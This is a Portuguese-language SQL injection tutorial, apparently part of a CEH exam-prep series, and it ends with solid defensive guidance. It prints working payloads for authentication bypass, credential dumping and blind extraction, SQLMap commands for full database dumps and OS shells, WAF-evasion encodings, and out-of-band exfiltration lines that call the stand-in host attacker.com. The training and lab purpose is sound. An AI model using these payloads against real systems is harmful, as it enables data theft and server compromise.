SQL Injection: A Vulnerabilidade que Ainda Domina a Web

Em 2023, um único ataque de SQL Injection contra a MOVEit Transfer expôs dados de mais de 2.500 organizações — incluindo o Departamento de Energia dos EUA, BBC e British Airways. A vulnerabilidade (CVE-2023-34362) explorava um endpoint SQLi que permitia leitura e escrita arbitrária de arquivos no servidor. Não foi um bug exótico de zero-day: era SQL Injection, a mesma vulnerabilidade documentada há mais de duas décadas.

SQL Injection, ou SQLi, acontece quando dados fornecidos pelo usuário são concatenados diretamente em uma query SQL, permitindo que o atacante manipule a lógica da consulta. Em termos simples: o input deixa de ser dado e vira código. E uma vez que o atacante controla a query, ele controla o banco de dados — e frequentemente o servidor inteiro.

A SQLi ocupa posição permanente no OWASP Top 10 (atualmente como parte da categoria A03 — Injection) e é citada em praticamente todo relatório de segurança web como uma das três vulnerabilidades mais exploradas. O relatório Verizon DBIR 2024 aponta que injeção (incluindo SQLi) está presente em cerca de 15% dos breaches relacionados a aplicações web. Não é coincidência: a maioria das aplicações usa bancos de dados SQL, e a maioria dos desenvolvedores ainda constrói queries concatenando strings.

Por que é tão perigoso

Uma SQLi não-explorada é um vazamento de dados. Uma SQLi explorada é, potencialmente, a perda completa do controle do sistema:

  • Data exfiltration — dump completo de tabelas, incluindo credenciais, dados pessoais (PII), dados financeiros.
  • Authentication bypass — logar como admin sem senha: ' OR 1=1--.
  • RCE (Remote Code Execution) — via xp_cmdshell (MSSQL), INTO OUTFILE + webshell (MySQL), UTL_HTTP (Oracle).
  • File operations — ler arquivos do sistema (LOAD_FILE), escrever arquivos (INTO OUTFILE).
  • Pivoting — usar o banco para escanear redes internas, fazer DNS exfiltration, estabelecer reverse shells.
  • Modificação de dados — não só ler, mas alterar, excluir ou inserir registros (incluindo novos usuários admin).

No contexto do CEH v13, SQL Injection é cobrada extensivamente — espere 5-8 questões diretas no exame, além de perguntas que presumem esse conhecimento em cenários de pentest web. Este artigo cobre tudo: tipos, exploração manual, automação com SQLMap, WAF bypass e defesa.

Nota ética: Técnicas descritas aqui devem ser aplicadas exclusivamente em sistemas dos quais você tem autorização escrita. Laboratórios como DVWA, HackTheBox, TryHackMe e PortSwigger Web Security Academy são ambientes legais e recomendados para prática.

Como Funciona: O Mecanismo da Injeção

Para entender SQL Injection, primeiro entenda como uma query vulnerável é construída. Considere este código PHP (padrão em aplicações legadas):

$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query($query);

Se o usuário acessar page.php?id=1, a query executada é:

SELECT first_name, last_name FROM users WHERE user_id = '1';

Normal. Agora e se o input for 1' OR 1=1--? A query vira:

SELECT first_name, last_name FROM users WHERE user_id = '1' OR 1=1--';

Analisando cada parte:

  • '1' — fecha a aspa que o PHP abriu. O user_id recebe o valor 1.
  • OR 1=1 — condição sempre verdadeira. Todo registro da tabela passa no WHERE.
  • -- — comentário SQL (MySQL). Tudo depois é ignorado, incluindo a aspa de fechamento original e qualquer código subsequente.

Resultado: a query retorna todos os usuários da tabela. O atacante acabou de bypassar o filtro de ID e acessar dados que não deveria ver.

O mesmo princípio se aplica a qualquer concatenação de strings em queries. O problema fundamental é que a aplicação não distingue entre dados e código. Quando o input é concatenado, ele pode alterar a estrutura da query — e isso é exatamente o que o atacante explora.

Por que prepared statements previnem

Prepared statements separam código de dados em nível de protocolo. A query é enviada ao banco com marcadores de parâmetro, e os dados são enviados separadamente — nunca como parte da string SQL:

# PHP com PDO:
$stmt = $pdo->prepare('SELECT first_name, last_name FROM users WHERE user_id = ?');
$stmt->execute([$id]);

O banco recebe a estrutura da query primeiro (compila e otimiza), depois recebe os dados como parâmetros tipados. Os dados nunca são interpretados como SQL, mesmo que contenham ' OR 1=1--. O banco trataria a string inteira como um valor literal para comparação com user_id, o que naturalmente não corresponderia a nenhum registro.

É por isso que prepared statements são a solução definitiva. Não é sanitização — é separação arquitetural entre código e dados.

Tipos de SQL Injection

A SQL Injection não é monolítica. Existem classificações baseadas em como os dados são extraídos e como a vulnerabilidade se manifesta. A taxonomia padrão divide as injeções em três categorias principais com subtipos.

In-band (Clássica)

O atacante recebe os resultados diretamente na response da aplicação. É o tipo mais comum e mais fácil de explorar.

UNION-based

O operador UNION combina os resultados de duas queries SELECT em um único resultset. Se a primeira query retorna N colunas, a segunda também precisa retornar N colunas (ou menos, com NULLs preenchendo as restantes). O atacante descobre quantas colunas a query original retorna, identifica quais aparecem na página, e injeta uma query maliciosa nessa posição.

# Query original (retorna 2 colunas):
SELECT first_name, last_name FROM users WHERE user_id = '1'

# Injeção com UNION:
1' UNION SELECT username, password FROM admin_users--

# Resultado: a página exibe usernames e passwords no lugar de first_name/last_name

Error-based

Quando a aplicação retorna mensagens de erro SQL detalhadas, o atacante pode extrair dados fazendo a query falhar de forma controlada. Funções como EXTRACTVALUE(), UPDATEXML() (MySQL) ou CONVERT() (MSSQL) incluem dados na mensagem de erro.

# MySQL — extrair versão via erro:
1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--

# O erro retorna: XPATH syntax error: '~5.7.42-0ubuntu0.18.04.1~'

Blind (Cega)

A aplicação não retorna dados da query nem erros SQL. O atacante só pode inferir informações observando mudanças no comportamento da página.

Boolean-based

O atacante envia condições que retornam verdadeiro ou falso e observa a diferença na response:

# Verdadeiro — página mostra resultado normal:
1' AND 1=1--

# Falso — página mostra resultado vazio ou mensagem de erro genérica:
1' AND 1=2--

# Extrair database() caractere por caractere:
1' AND SUBSTRING(database(),1,1)='a'--     # página carrega? O primeiro char é 'a'
1' AND SUBSTRING(database(),1,1)='d'--     # página carrega? O primeiro char é 'd'
# Repetir para cada posição...

A extração é tediosa manualmente (cada caractere exige uma request), mas perfeitamente automatizável com ferramentas. Um database name de 10 caracteres com charset alfanumérico exige em média ~150 requests no pior caso.

Time-based

Quando nem a página muda (true/false produzem a mesma response), o atacante usa delays condicionais. Se a condição for verdadeira, a query dorme por N segundos antes de responder:

# MySQL — se o primeiro caractere do database() for 'd', dorme 5 segundos:
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)--

# Tempo de resposta > 5s? Verdadeiro. ~0s? Falso.
# Repetir para cada caractere...

Alternativas ao SLEEP(): BENCHMARK(5000000,SHA1('test')) no MySQL, WAITFOR DELAY '0:0:5' no MSSQL, pg_sleep(5) no PostgreSQL.

O custo é significativamente maior que boolean-based — cada caractere requer uma request com 5+ segundos de espera. Um database name de 10 caracteres pode levar 50+ segundos. Para tabelas inteiras, isso escala para horas. É por isso que a automação é essencial.

Out-of-band (OOB)

Quando a aplicação não retorna dados e as respostas não variam (não há boolean, não há timing confiável), o atacante pode fazer o banco enviar dados para um servidor que ele controla via DNS ou HTTP.

# MySQL — exfiltrar via DNS (requer LOAD_FILE habilitado):
1' UNION SELECT LOAD_FILE(CONCAT('\\\\', database(), '.attacker.com\\a'))--

# O MySQL resolve o DNS: nomedobanco.attacker.com
# O atacante vê a query DNS no seu servidor DNS

# MSSQL — exfiltrar via HTTP:
1'; EXEC master..xp_dirtree '\\attacker.com\'+CONVERT(varchar,@@version)+'\'--

# MSSQL faz lookup DNS: attacker.com/Microsoft+SQL+Server+2019...

OOB depende de funcionalidades específicas do banco de dados (DNS resolution, outbound HTTP). Firewalls restritivos que bloqueiam outbound DNS podem mitigar esse vetor.

SQLMap Masterclass

SQLMap é a ferramenta open-source mais completa para detecção e exploração automática de SQL Injection. Escrita em Python, automatiza todo o processo: desde a identificação do tipo de injeção até o dump completo do banco de dados, passando por file read/write e OS shell.

Instalação

# Debian/Ubuntu/Kali:
sudo apt install sqlmap

# Via Git (última versão):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 sqlmap-dev/sqlmap.py --version

# Requer Python 3.6+. Funciona em Linux, macOS e Windows.

Workflow Completo

Passo 1 — Detectar a vulnerabilidade

# Básico — testar todos os parâmetros GET:
sqlmap -u "http://target.com/page.php?id=1" --batch

# --batch: responde "Y" a todas as perguntas automaticamente
# SQLMap testa cada parâmetro com payloads de todos os tipos
# Ao final, relata: vulnerável? Qual tipo? Qual backend?
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] testing SQL injection on GET parameter 'id'
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be
       injectable (possible DBMS: 'MySQL')
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing?
       (do not answer, --batch will answer for you)
[INFO] GET parameter 'id' is vulnerable (UNION query)
[INFO] the back-end DBMS is MySQL >= 5.6
[INFO] fetching banner: '5.7.42-0ubuntu0.18.04.1'

Passo 2 — Enumerar bancos de dados

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

# Output:
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] target_app
[*] secret_db

Passo 3 — Enumerar tabelas

sqlmap -u "http://target.com/page.php?id=1" -D target_app --tables --batch

# Output:
Database: target_app
[4 tables]
+------------+
| users      |
| sessions   |
| products   |
| orders     |
+------------+

Passo 4 — Enumerar colunas

sqlmap -u "http://target.com/page.php?id=1" -D target_app -T users --columns --batch

# Output:
Database: target_app
Table: users
[5 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| id         | int         |
| username   | varchar(50) |
| password   | varchar(255)|
| email      | varchar(100)|
| role       | varchar(20) |
+------------+-------------+

Passo 5 — Dump de dados

# Tabela específica:
sqlmap -u "http://target.com/page.php?id=1" --dump -D target_app -T users --batch

# Banco inteiro (cuidado — pode ser lento e barulhento):
sqlmap -u "http://target.com/page.php?id=1" --dump-all --batch

# Output:
Database: target_app
Table: users
[15 entries]
+----+----------+----------------------------------+------------------+-------+
| id | username | password                         | email            | role  |
+----+----------+----------------------------------+------------------+-------+
| 1  | admin    | $2y$10$eXaM...                   | admin@target.com | admin |
| 2  | user1    | $2y$10$pLhA...                   | user1@target.com | user  |
...

OS Shell — Execução de comandos no servidor

# Obtém um shell no sistema operacional via SQLi:
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# SQLMap pergunta qual técnica usar para upload do webshell:
# 1) Via file upload (se existir formulário de upload)
# 2) Via MySQL INTO OUTFILE (se o DB user tiver privilégio FILE)

# Se funcionar:
os-shell> whoami
www-data
os-shell> cat /etc/passwd
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

O --os-shell funciona quando o DB tem privilégios de escrita no diretório web e a aplicação consegue executar PHP/ASP/JSP. No MySQL, requer privilégio FILE e secure_file_priv vazio.

WAF Bypass com Tamper Scripts

Tamper scripts modificam os payloads para evitar detection por WAFs e filtros de aplicação:

# Uso básico:
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment --batch

# Múltiplos tamper scripts em sequência:
sqlmap -u "http://target.com/page.php?id=1" \
  --tamper=space2comment,between,randomcase,charencode --batch

Tamper scripts úteis para bypass de WAF:

Script Função Exemplo
space2comment Substitui espaços por /**/ SELECT/**/user em vez de SELECT user
space2plus Espaço vira + SELECT+user
between Substitui >/< por BETWEEN BETWEEN 0 AND 5
randomcase Randomiza maiúsculas/minúsculas SeLeCt
charencode URL-encode todos os caracteres %53%45%4c%45%43%54
chardoubleencode Double URL-encode %2553%2545%254c
equaltolike = vira LIKE WHERE id LIKE 1
randomcomments Insere comentários randômicos dentro de keywords SEL/**/ECT
versionedkeywords Prefixa com /*!MySQL_version*/ /*!50000SELECT*/
percentage Adiciona % antes de cada caractere %S%E%L%E%C%T

Level e Risk

# Nível de testes (1-5, default 1):
# Quanto maior, mais payloads e mais parâmetros testados
# Level 5 testa HTTP headers (User-Agent, Referer, Cookie)
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3 --batch

# Nível de risco (1-3, default 1):
# Risk 2: testa payloads que alteram dados (UPDATE, DELETE)
# Risk 3: testa payloads baseados em OR (intensivos, podem derrubar o DB)

Atenção: nunca use --risk=3 em produção sem autorização explícita. Payloads OR-based podem causar denial of service ou modificar dados acidentalmente.

Cookie e POST Injection

SQL Injection não se limita a parâmetros GET. Qualquer input que entre em uma query é um vetor potencial:

# Injeção via Cookie:
sqlmap -u "http://target.com/page.php" \
  --cookie="session_id=1" \
  --batch --dbs

# Injeção via POST data:
sqlmap -u "http://target.com/login.php" \
  --data="username=admin&password=test" \
  --batch --dbs

# Injeção via HTTP header:
sqlmap -u "http://target.com/page.php" \
  --headers="X-Forwarded-For: 1*" \
  --batch --dbs

O * marca o ponto de injeção — SQLMap testa payloads naquela posição. Sem o asterisco, SQLMap tenta detectar automaticamente o ponto vulnerável.

Exploração UNION-based Passo a Passo

UNION-based é o tipo mais didático de SQLi. Vamos explorar o processo completo, query a query, usando um cenário real com DVWA.

Passo 1 — Confirmar a injeção

# Input normal:
http://target/vulnerabilities/sqli/?id=1
# Resultado: exibe o nome do usuário com ID 1

# Testar injeção:
http://target/vulnerabilities/sqli/?id=1'
# Resultado: erro SQL — "You have an error in your SQL syntax"

# Isso confirma: o input entra na query, e o backend é MySQL

Passo 2 — Determinar o número de colunas

Para que UNION funcione, a query injetada precisa ter o mesmo número de colunas da query original. Existem duas técnicas:

Técnica 1 — ORDER BY:

1' ORDER BY 1--     # OK
1' ORDER BY 2--     # OK
1' ORDER BY 3--     # OK
1' ORDER BY 4--     # OK
1' ORDER BY 5--     # ERRO → Unknown column '5' in 'order clause'
# Conclusão: a query retorna 4 colunas

Técnica 2 — UNION SELECT NULL:

1' UNION SELECT NULL--           # ERRO → column count doesn't match
1' UNION SELECT NULL,NULL--       # ERRO
1' UNION SELECT NULL,NULL,NULL--  # OK → 3 colunas? (pode ser)
1' UNION SELECT NULL,NULL,NULL,NULL--  # OK → 4 colunas
1' UNION SELECT NULL,NULL,NULL,NULL,NULL--  # ERRO → confirma 4 colunas

Passo 3 — Identificar a coluna visível

1' UNION SELECT 1,2,3,4--

# A página exibe números nos campos que correspondem a colunas "printáveis"
# Se a página mostrar "2" no lugar do nome e "4" no lugar do sobrenome:
# → Colunas 2 e 4 são visíveis. Use uma delas para extrair dados.

Passo 4 — Extrair informações

# Versão do MySQL e banco atual:
1' UNION SELECT 1,@@version,database(),4--
# Resultado: "5.7.42-0ubuntu0.18.04.1" e "dvwa"

# Usuário atual e host:
1' UNION SELECT 1,current_user(),3,@@hostname--

# Listar databases:
1' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata--

# Listar tabelas do banco "dvwa":
1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='dvwa'--

# Listar colunas da tabela "users":
1' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'--

# Dump de usernames e passwords:
1' UNION SELECT 1,user,password,4 FROM users--

Os hashes MD5 do DVWA podem ser quebrados rapidamente com hashcat ou John the Ripper — na prática, em um pentest real, você já tem as credenciais.

Blind SQL Injection na Prática

Quando não há dados na response e não há erros SQL, blind SQLi é o caminho. A técnica é mais lenta mas não menos eficaz.

Boolean-based

# Cenário: página mostra "User ID exists in the database" para IDs válidos
# e "User ID is MISSING from the database" para inválidos

# Confirmar vulnerabilidade:
1 AND 1=1       # "exists" → verdadeiro
1 AND 1=2       # "MISSING" → falso
# A injeção funciona!

# Construir a lógica de extração:
# SUBSTRING(string, position, length) extrai um caractere por vez
# ASCII() converte o caractere para seu valor numérico
# > (comparação) testa se o valor é maior que X

# Primeiro caractere do database():
1 AND ASCII(SUBSTRING(database(),1,1)) > 64--
# 64 = '@'. Se "exists", o char é > '@' (letra minúscula ou maiúscula)

1 AND ASCII(SUBSTRING(database(),1,1)) > 100--
# 100 = 'd'. "exists" → o char está entre 'd' e 'z'

# Binary search: 100 → 116 → 100 → ... → 100 = 'd'
# Primeiro caractere do database() é 'd'

# Segundo caractere:
1 AND ASCII(SUBSTRING(database(),2,1)) > 118--
# ...e assim por diante

A binary search reduz o número médio de requests por caractere de ~50 (linear) para ~7 (log₂(128)). SQLMap usa essa abordagem automaticamente.

Time-based

# Cenário: página SEMPRE retorna "Welcome, user" independente do ID
# Nenhuma diferença visual entre true e false

# Confirmar vulnerabilidade:
1 AND SLEEP(5)--
# Se a response demora 5+ segundos → injeção funciona

# Extração caractere por caractere com delay condicional:
1 AND IF(ASCII(SUBSTRING(database(),1,1))=100, SLEEP(5), 0)--
# Demora 5s? Primeiro char é 'd' (ASCII 100)
# Responde imediatamente? Não é 'd'

1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--
# Demora? É > 100. Não demora? É <= 100

Automatizando com SQLMap

# SQLMap detecta e explora automaticamente blind SQLi:
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs

# Forçar técnica específica:
sqlmap -u "http://target.com/page.php?id=1" --technique=B --batch
# B = Boolean-based blind

sqlmap -u "http://target.com/page.php?id=1" --technique=T --batch
# T = Time-based blind

# Aumentar o delay para time-based (default 5s):
sqlmap -u "http://target.com/page.php?id=1" --technique=T --time-sec=10 --batch

Para blind time-based, SQLMap é essencial. Fazer manualmente seria impraticável — extrair uma tabela de 100 linhas com 10 colunas de 20 caracteres cada, a 10 segundos por caractere, levaria mais de 5 horas.

Second-Order Injection

Second-order SQL Injection é a mais insidiosa das variantes. O input malicioso é armazenado no banco (via INSERT/UPDATE) e a injeção acontece em uma query diferente, executada posteriormente. O problema: ferramentas automatizadas como SQLMap não detectam isso trivialmente, pois o ponto de injeção e o ponto de execução estão separados.

Cenário clássico

# 1. Registro — input armazenado no banco:
INSERT INTO users (username, password, surname) VALUES ('john', 'hashed_pw', 'admin''--')

# A aplicação escapa as aspas no INSERT — tudo parece seguro
# O valor armazenado é literalmente: admin'--

# 2. Reset de senha — a injeção acontece aqui:
UPDATE users SET password = '$new_password' WHERE surname = '$surname' AND username = '$username'

# Quando John faz reset de senha, a query vira:
UPDATE users SET password = 'new_hashed_pw' WHERE surname = 'admin'--' AND username = 'john'

# O '--' comenta o resto: AND username = 'john' é ignorado
# Resultado: a senha do USUÁRIO ADMIN é alterada, não a do John

A detecção de second-order SQLi requer análise de código ou testes manuais cuidadosos: verificar se dados inseridos em um endpoint são usados em queries em outros endpoints. Code review é a ferramenta mais efetiva aqui.

WAF Bypass Techniques

Web Application Firewalls (WAFs) filtram requests baseadas em padrões. Bypassar um WAF é uma corrida entre a assinatura do filtro e a criatividade do atacante. Aqui estão as técnicas mais relevantes.

Comments como separadores

# Inline comments (MySQL):
SE/**/LECT user FR/**/OM users

# Versão MySQL-specific:
SELECT/*!50000 user*/FROM users
# Executa se versão >= 5.00.00

# Block comments dentro de keywords:
UN/**/ION/**/SEL/**/ECT

Case variation

# SQL é case-insensitive (na maioria dos bancos), mas WAFs podem ser case-sensitive:
sElEcT UsEr FrOm UsErS
SeLeCt FrOm InFoRmAtIoN_sChEmA

Encoding

# URL encoding:
%27 OR 1=1--    (para o apóstrofo ')

# Double URL encoding:
%2527 OR 1=1--  (WAF decodifica uma vez → %27, app decodifica segunda vez → ')

# Unicode encoding:
%u0027 OR 1=1--

# HTML entity encoding:
' OR 1=1--

# Hex encoding (MySQL):
SELECT * FROM users WHERE id = 0x31   (0x31 = '1')
SELECT * FROM users WHERE name = 0x61646D696E  ('admin')

NULL bytes

# Null byte pode truncar strings em filters escritos em C/C++:
1%00' OR 1=1--

# Alguns WAFs param de processar no null byte:
UNI%00ON SEL%00ECT

HTTP Parameter Pollution (HPP)

# Múltiplos parâmetros com mesmo nome — qual o WAF/APP usa?
?id=1&id=1' OR 1=1--

# Se o WAF valida o primeiro e a app usa o último: bypass
# Se o WAF valida o último e a app usa o primeiro: bypass
# Comportamento varia por servidor: Apache usa o primeiro,
# IIS/ASP.NET usa o último, Node.js (express) usa o último

Chunked Transfer Encoding

# Dividir payloads entre chunks HTTP:
# Alguns WAFs inspecionam cada chunk individualmente
# sem reconstruir a request completa
Transfer-Encoding: chunked

5
1' UN
8
ION SEL
7
ECT 1,2
...
0

Nenhuma técnica de bypass é universal. Funciona contra WAF X hoje, pode não funcionar amanhã. O segredo é combinar técnicas e testar sistematicamente. SQLMap com tamper scripts já faz a maior parte do trabalho.

Hands-on: DVWA — Todos os Níveis

O DVWA é o laboratório de referência para aprender SQL Injection. Cada nível de segurança implementa uma defesa diferente — entender a progressão é entender como se deve defender aplicações reais.

Low Security

# Código PHP:
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

# Nenhuma sanitização. Concatenação direta. Padrão vulnerável.

# Exploração (vimos acima):
1' UNION SELECT user,password FROM users--
1' UNION SELECT @@version,database()--

SQLMap direto ao ponto:

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123;security=low" \
  --dbs --batch

Medium Security

# Código PHP:
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

# Diferenças: mysql_real_escape_string() e aspas removidas
# A função escapa caracteres como ', ", \, NULL
# MAS: o $id não está entre aspas na query!

O problema? mysql_real_escape_string protege contra strings, mas o parâmetro é tratado como número inteiro (sem aspas). A injeção funciona sem aspas:

# Não precisa de aspas:
1 UNION SELECT user,password FROM users

# O escape é inútil quando o input não é quoted
# SQLMap:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123;security=medium" \
  --dbs --batch

High Security

# Código PHP — query via sessão, não via parâmetro:
if (isset($_GET['Submit'])) {
    $id = $_SESSION['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
    // ...
}
$_SESSION['id'] = $_GET['id'];

# O parâmetro ainda vem do GET e é armazenado na sessão
# LIMIT 1 é adicionado, mas UNION SELECT bypassa com LIMIT 0,1

A proteção é ilusória — o input ainda é concatenado sem sanitização:

# Bypass do LIMIT 1:
0 UNION SELECT user,password FROM users LIMIT 0,1--

# Ou simplesmente ignorar (UNION retorna resultados independentes):
0 UNION SELECT user,password FROM users--
# SQLMap:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123;security=high" \
  --dbs --batch

Impossible Security

# Código PHP — prepared statement com PDO:
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

# Separou código de dados. PDO::PARAM_INT força inteiro.
# Imune a SQL Injection. Ponto final.

Nenhum bypass existe para prepared statements com bind parameters corretos. É o padrão-ouro de defesa.

Contra-medidas

Saber atacar é fundamental. Saber defender é o que separa o profissional do script kiddie. Aqui está a camada de defesa completa contra SQL Injection, da mais à menos efetiva.

1. Prepared Statements (solução definitiva)

Não é uma recomendação, é um requisito. Toda query que recebe input do usuário deve usar prepared statements. Em qualquer linguagem:

# PHP (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $userId]);

# PHP (mysqli)
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $userId);
$stmt->execute();

# Python (sqlite3)
cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))

# Java (JDBC)
PreparedStatement stmt = conn.prepareStatement('SELECT * FROM users WHERE id = ?');
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();

# Node.js (pg)
const result = await pool.query('SELECT * FROM users WHERE id = $1', [userId]);

2. Input Validation

Validar e sanitizar todo input do lado do servidor (nunca confie no client-side). Whitelist quando possível:

# Validar que ID é um número inteiro:
if (!ctype_digit($id)) {
    die('Invalid input');
}

# Whitelist de valores permitidos:
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_column, $allowed_columns)) {
    $sort_column = 'id';
}

Whitelist > blacklist. Aceitar apenas o que você sabe que é seguro é infinitamente melhor que tentar filtrar o que é perigoso.

3. ORM

Object-Relational Mappers (ORMs) como SQLAlchemy (Python), Hibernate (Java), Sequelize (Node.js) e Eloquent (PHP/Laravel) abstraem a construção de queries SQL e, por padrão, usam prepared statements internamente.

# SQLAlchemy (Python) — seguro por padrão:
user = session.query(User).filter(User.id == user_id).first()

# Laravel Eloquent (PHP) — seguro por padrão:
$user = User::where('id', $userId)->first();

Cuidado: ORMs permitem raw queries que voltam a ser vulneráveis. Se precisar usar raw queries, use parameterized bindings.

4. Least Privilege no Banco de Dados

A aplicação web nunca deve conectar ao banco como root ou sa. O princípio do menor privilégio limita o dano mesmo que uma SQLi seja explorada:

  • O usuário do DB da aplicação deve ter acesso apenas às tabelas necessárias.
  • Sem GRANT ALL. Permissões específicas: SELECT, INSERT, UPDATE apenas nas tabelas que a aplicação precisa.
  • Sem privilégio FILE (MySQL) — impede LOAD_FILE e INTO OUTFILE.
  • Sem xp_cmdshell (MSSQL) — impede execução de comandos no SO.
  • Separe usuários de leitura e escrita quando possível.

5. Web Application Firewall (WAF)

WAFs como ModSecurity com OWASP Core Rule Set adicionam uma camada de defesa em depth. Não substitui código seguro, mas:

  • Bloqueia payloads conhecidos antes de alcançar a aplicação.
  • Reduz a superfície de ataque enquanto o código é corrigido.
  • Protege contra zero-days de SQLi não previstos pelo desenvolvedor.

Configure regras específicas, mantenha assinaturas atualizadas e configure em modo de detecção + bloqueio. WAF com regras default é melhor que sem WAF, mas WAF com regras tuned para sua aplicação é significativamente melhor.

6. Stored Procedures

Stored procedures com parâmetros tipados adicionam outra camada de proteção, pois o banco valida os tipos de dados antes da execução:

# MySQL — procedure com parâmetro INT:
CREATE PROCEDURE get_user(IN user_id INT)
BEGIN
    SELECT first_name, last_name FROM users WHERE id = user_id;
END;

# Chamada segura — mesmo com injeção, o tipo INT rejeita strings:
CALL get_user(1 UNION SELECT ...) -- ERRO: tipo incorreto para INT

7. Boas práticas adicionais

  • Nunca exiba erros SQL em produção — erros detalhados são munição para atacantes. Configure display_errors=Off e logue erros internamente.
  • Configure o DB para rejeitar queries malformadasNO_BACKSLASH_ESCAPES no MySQL.
  • Monitoramento — alerte sobre queries anormais (muito tempo, muitos resultados, padrões de UNION).
  • Code review — toda query construída com concatenação de strings deve ser um red flag imediato.
  • SAST/DAST — ferramentas como SonarQube (static) e Burp Suite (dynamic) identificam SQLi automaticamente no pipeline de CI/CD.

Resumo

Tipo de SQLi Como Detectar Vetor de Extração Ferramenta Principal
UNION-based Página exibe dados do banco UNION SELECT na response sqlmap --technique=U
Error-based Página exibe erros SQL Dados embutidos em mensagens de erro sqlmap --technique=E
Boolean blind Página muda (sim/não) True/false por caractere sqlmap --technique=B
Time blind Tempo de resposta varia Delays inferem dados sqlmap --technique=T
Out-of-band DNS/HTTP outbound LOAD_FILE, xp_dirtree sqlmap --technique=Q
Second-order Difícil — input armazenado Execução em query diferente Manual + análise de código

SQL Injection continua sendo a vulnerabilidade web mais estudada, mais automatizada e mais devastadora. Saber detectá-la, classificá-la, explorá-la (em laboratórios autorizados) e defendê-la é competência não-negociável para qualquer profissional de segurança. No CEH v13, espere pelo menos 5-8 questões diretamente relacionadas — e outras tantas que pressupõem esse conhecimento como base para tópicos como web app pentesting e defensive security.

No Artigo 22: XSS e CSRF — Exploração e Defesa em Aplicações Web

Se SQL Injection ataca o backend, XSS ataca o frontend. O próximo artigo cobre os três tipos de XSS (reflected, stored, DOM-based), como explorar cada um, payloads avançados, CSP bypass e como proteger aplicações. XSS é a vulnerabilidade mais prevalente na web moderna — e a base para ataques como session hijacking, defacement e keylogging. Se inscreva para não perder e nos vemos lá.


Série CEH v13: Zero to Hero — Publicado em ciberseguranca.org. Artigo 21 de 30.